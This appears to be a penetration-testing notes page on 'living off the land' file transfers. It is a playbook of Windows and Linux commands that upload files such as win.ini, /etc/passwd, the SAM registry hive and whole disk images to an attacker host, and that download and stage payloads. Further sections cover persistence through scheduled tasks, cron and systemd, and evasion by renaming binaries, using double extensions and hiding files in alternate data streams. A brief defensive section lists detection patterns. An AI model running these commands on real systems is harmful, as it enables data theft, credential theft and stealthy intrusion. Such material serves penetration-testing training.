🎭Living off The Land File Transfers

Introduction

The phrase "Living off the land" was coined by Christopher Campbell (@obscuresec) & Matt Graeber (@mattifestation) at DerbyCon 3.

The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. These are legitimate system binaries that can be abused for malicious purposes.

Key Resources:

LOLBAS Project - For Windows Binaries (https://lolbas-project.github.io/)
GTFOBins - For Linux Binaries (https://gtfobins.github.io/)

Living off the Land binaries can be used to perform functions such as:

Download - Retrieve files from remote sources
Upload - Send files to remote destinations
Command Execution - Execute arbitrary commands
File Read - Read sensitive files
File Write - Write files to disk
Bypasses - Bypass security controls

This section focuses on using LOLBAS and GTFOBins projects and provides examples for download and upload functions on Windows & Linux systems.

Windows Living off The Land Binaries (LOLBAS)

CertReq.exe

Description: Certificate Request utility that can be used to upload files via HTTP POST.

Upload Files:

# Start Netcat listener on attack host
nc -lvnp 8000

# Upload file from Windows target
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

Expected Output:

Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)

Netcat Session Output:

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128:8000

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

⚠️ Note: If you get an error when running certreq.exe, the version you are using may not contain the -Post parameter.

Bitsadmin

Description: Background Intelligent Transfer Service (BITS) can download files from HTTP sites and SMB shares.

Download File:

bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

PowerShell BITS Transfer:

Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Advanced BITS Usage:

# Download with credentials
Start-BitsTransfer -Source "http://10.10.10.32:8000/file.txt" -Destination "C:\temp\file.txt" -Credential (Get-Credential)

# Download through proxy
Start-BitsTransfer -Source "http://10.10.10.32:8000/file.txt" -Destination "C:\temp\file.txt" -ProxyUsage SystemDefault

# Resume interrupted transfer
Resume-BitsTransfer -Name "MyTransfer"

Certutil

Description: Certificate utility that can download arbitrary files. Found by Casey Smith (@subTee).

Download File:

certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Base64 Decode:

# Decode base64 file
certutil -decode encoded_file.txt decoded_file.exe

URL Cache Download:

certutil.exe -urlcache -split -f http://10.10.10.32:8000/nc.exe nc.exe

⚠️ Note: The Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.

Expand.exe

Description: Built-in utility for extracting compressed files.

Download and Extract:

# Download cabinet file
expand.exe \\webdav\folder\file.cab c:\ADS\file.cab

# Extract cabinet file
expand.exe -F:* c:\ADS\file.cab c:\ADS\

Esentutl.exe

Description: Extensible Storage Engine (ESE) database utility.

Download File:

esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

Findstr.exe

Description: String search utility that can read files.

Read Remote Files:

findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

Replace.exe

Description: File replacement utility.

Download File:

replace.exe \\webdav.folder.com\folder\invoice.pdf c:\ADS\ /A

Makecab.exe

Description: Cabinet file creation utility.

Upload File (via UNC):

makecab \\webdavserver\webdav\nc.exe \\webdavserver\webdav\nc.cab

Print.exe

Description: Print command that can download files.

Download File:

print /D:\\webdavserver\share\nc.exe \\webdavserver\share\nc.exe

Reg.exe

Description: Registry editor that can save/export files.

Export Registry to Remote:

reg export HKLM\SAM \\webdavserver\folder\SAM

Xcopy.exe

Description: Extended copy utility.

Download File:

xcopy \\webdavserver\webdav\nc.exe c:\ADS\nc.exe

Linux Living off The Land Binaries (GTFOBins)

OpenSSL

Description: Cryptographic toolkit that can create SSL connections for file transfer.

Setup SSL Server (Attack Host):

# Create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

# Start SSL server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Download File (Target Host):

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Upload File via SSL:

# Target sends file
cat /etc/passwd | openssl s_client -quiet -connect 10.10.10.32:443

# Attack host receives
openssl s_server -quiet -accept 443 -cert certificate.pem -key key.pem > received_passwd

Wget

Description: Web file downloader (if available).

Download File:

wget http://10.10.10.32:8000/LinEnum.sh

Upload via POST:

wget --post-file=/etc/passwd http://10.10.10.32:8000/upload

Curl

Description: Command-line HTTP client.

Download File:

curl -o LinEnum.sh http://10.10.10.32:8000/LinEnum.sh

Upload File:

curl -X POST -F "file=@/etc/passwd" http://10.10.10.32:8000/upload

Nc (Netcat)

Description: Network utility for reading/writing network connections.

Download File:

# Attack host
nc -l -p 8000 < file_to_send.txt

# Target host
nc 10.10.10.32 8000 > received_file.txt

Upload File:

# Attack host
nc -l -p 8000 > received_file.txt

# Target host
nc 10.10.10.32 8000 < file_to_send.txt

Socat

Description: Extended netcat with additional features.

Download File:

# Server
socat TCP-LISTEN:8000,reuseaddr,fork OPEN:/tmp/file.txt,rdonly

# Client
socat TCP:10.10.10.32:8000 OPEN:/tmp/received_file.txt,creat

SSH/SCP

Description: Secure Shell utilities.

Download File:

scp user@10.10.10.32:/tmp/file.txt /tmp/

Upload File:

scp /tmp/file.txt user@10.10.10.32:/tmp/

Base64

Description: Base64 encoding/decoding utility.

Encode and Transfer:

# Encode file
base64 /etc/passwd | nc 10.10.10.32 8000

# Receive and decode
nc -l -p 8000 | base64 -d > passwd_copy

Xxd

Description: Hex dump utility.

Transfer via Hex:

# Encode
xxd -p /etc/passwd | nc 10.10.10.32 8000

# Decode
nc -l -p 8000 | xxd -r -p > passwd_copy

Tar

Description: Archive utility.

Transfer Archive:

# Create and send
tar czf - /etc/ | nc 10.10.10.32 8000

# Receive and extract
nc -l -p 8000 | tar xzf - -C /tmp/

DD

Description: Data duplicator/converter.

Transfer Raw Data:

# Send disk image
dd if=/dev/sda | nc 10.10.10.32 8000

# Receive disk image
nc -l -p 8000 | dd of=/tmp/disk.img

Advanced Living off The Land Techniques

Windows Registry as Storage

Store Data in Registry:

# Store base64 encoded file in registry
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion" /v "Update" /t REG_SZ /d "base64_encoded_data"

# Retrieve and decode
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion" /v "Update" | findstr "Update" | certutil -decode - decoded_file.exe

Alternate Data Streams (ADS)

Hide Files in ADS:

# Store file in ADS
type nc.exe > legitimate_file.txt:nc.exe

# Retrieve file from ADS
expand legitimate_file.txt:nc.exe nc_recovered.exe

WMI for File Transfer

Download via WMI:

# Create WMI object for HTTP request
$wmi = [WMIClass]"Win32_Process"
$wmi.Create("powershell.exe -c `"(New-Object Net.WebClient).DownloadFile('http://10.10.10.32:8000/nc.exe','C:\temp\nc.exe')`"")

MSBuild for Execution

Download and Execute via MSBuild:

<!-- Save as download.xml -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Download">
    <Exec Command="powershell.exe -c (New-Object Net.WebClient).DownloadFile('http://10.10.10.32:8000/nc.exe','C:\temp\nc.exe')" />
  </Target>
</Project>

msbuild.exe download.xml

Linux Systemd for Persistence

Create Service for File Transfer:

# Create service file
cat > /tmp/download.service << EOF
[Unit]
Description=Download Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -o /tmp/payload http://10.10.10.32:8000/payload'

[Install]
WantedBy=multi-user.target
EOF

# Run service
systemctl --user daemon-reload
systemctl --user start download.service

Steganography with LOLBins

Hide Data in Images

Windows - Using forfiles:

# Hide data in image metadata
forfiles /p C:\temp /m *.jpg /c "cmd /c echo secret_data >> @file:metadata"

Linux - Using steghide:

# Hide file in image
steghide embed -cf cover.jpg -ef secret.txt -p password123

# Extract file from image
steghide extract -sf cover.jpg -p password123

Detection Evasion Techniques

Rename Binaries

Windows:

# Copy and rename suspicious binaries
copy C:\Windows\System32\certutil.exe C:\temp\update.exe
update.exe -urlcache -split -f http://10.10.10.32:8000/nc.exe

Linux:

# Copy and rename binaries
cp /usr/bin/wget /tmp/systemupdate
/tmp/systemupdate http://10.10.10.32:8000/payload

Use Legitimate File Extensions

Disguise Executables:

# Rename executable to appear as document
copy nc.exe important_document.pdf.exe

# Use double extension
copy nc.exe report.txt.exe

Time-based Transfers

Schedule Transfers:

# Windows - Use schtasks
schtasks /create /tn "System Update" /tr "certutil.exe -urlcache -split -f http://10.10.10.32:8000/update.exe" /sc daily /st 02:00

# Linux - Use cron
echo "0 2 * * * wget -q http://10.10.10.32:8000/update" | crontab -

Defensive Considerations

Monitoring LOLBins Usage

Windows Event Logs:

Monitor Process Creation Events (Event ID 4688)
Monitor PowerShell Script Block Logging (Event ID 4104)
Monitor Network Connections (Event ID 3 - Sysmon)

Linux Monitoring:

Monitor syscalls with auditd
Use process monitoring tools (ps, top, htop)
Monitor network connections (netstat, ss)

Common Detection Signatures

Suspicious Command Lines:

# Certutil with URL
certutil.*-urlcache.*-split.*-f.*http

# Bitsadmin with transfer
bitsadmin.*transfer.*http

# PowerShell with download
powershell.*downloadstring.*http

Mitigation Strategies

Application Whitelisting - Prevent unauthorized binary execution
Network Monitoring - Monitor outbound connections
Behavioral Analysis - Detect unusual binary usage patterns
Endpoint Detection - Use EDR solutions to detect LOLBin abuse
User Education - Train users to recognize suspicious activities

Best Practices for Penetration Testers

Reconnaissance Phase

Enumerate available binaries on target systems
Check binary versions and capabilities
Identify network restrictions that may affect transfers
Research alternative methods for detected/blocked binaries

Execution Phase

Start with least suspicious methods first
Use legitimate-looking file names and extensions
Time transfers appropriately to avoid detection
Clean up artifacts after successful transfers
Document successful techniques for future use

Testing Methodology

# Quick binary availability check
which wget curl nc openssl base64 python perl ruby

# Windows binary check
where certutil bitsadmin powershell wmic

Troubleshooting Common Issues

Certificate Errors

Bypass SSL Certificate Validation:

# Curl
curl -k https://10.10.10.32:8000/file.txt

# Wget
wget --no-check-certificate https://10.10.10.32:8000/file.txt

# OpenSSL
openssl s_client -connect 10.10.10.32:443 -verify_return_error

Network Restrictions

Test Connectivity:

# Test HTTP/HTTPS
curl -I http://10.10.10.32:8000/
curl -I https://10.10.10.32:8443/

# Test different ports
nc -zv 10.10.10.32 80 443 8000 8080 8443

Binary Not Found

Alternative Binary Search:

# Linux - Find alternatives
find /usr/bin /bin -name "*curl*" -o -name "*wget*" -o -name "*nc*"

# Windows - Search for alternatives
dir /s /b C:\Windows\System32\*cert*.exe
dir /s /b C:\Windows\System32\*bits*.exe

Key Takeaways

LOLBins are powerful - Legitimate binaries can perform file transfers
Stealth advantage - Using system binaries is less suspicious
Multiple options available - Always have backup methods ready
Environment awareness - Different systems have different binaries
Detection evasion - Rename binaries and use legitimate-looking names
Clean up artifacts - Remove evidence after successful transfers
Document techniques - Keep notes on successful methods
Stay updated - New LOLBins are discovered regularly

References

PreviousProtected File Transfer Methods NextFile Transfer Detection

Last updated 3 months ago